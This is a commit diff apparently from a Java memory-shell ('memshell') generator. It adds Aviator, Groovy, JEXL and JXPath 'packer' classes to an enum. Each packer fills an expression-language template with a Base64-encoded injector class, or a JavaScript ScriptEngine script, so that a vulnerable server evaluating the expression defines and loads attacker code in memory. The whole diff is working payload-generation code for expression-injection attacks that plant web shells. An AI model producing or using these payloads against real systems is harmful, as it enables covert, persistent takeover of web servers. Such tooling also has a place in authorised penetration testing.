feat: support more expression packer

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -1,16 +1,20 @@
 package com.reajason.javaweb.memshell.packer;
 
+import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
 import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
 import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
+import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
 import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
 import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
+import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
 import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
+import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
 import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
 import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
@@ -69,6 +73,10 @@ public enum Packers {
 
     OGNL(new OGNLPacker()),
     MVEL(new MVELPacker()),
+    JXPath(new JXPathPacker()),
+    JEXL(new JEXLPacker()),
+    Groovy(new GroovyPacker()),
+    Aviator(new AviatorPacker()),
 
     SpEL(new SpELPacker()),
     SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),

generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.packer.aviator;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class AviatorPacker implements Packer {
+    String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        return template.replace("{{className}}", generateResult.getInjectorClassName())
+                .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.groovy;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class GroovyPacker implements Packer {
+    String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.jexl;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class JEXLPacker implements Packer {
+    String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.jxpath;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class JXPathPacker implements Packer {
+    String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}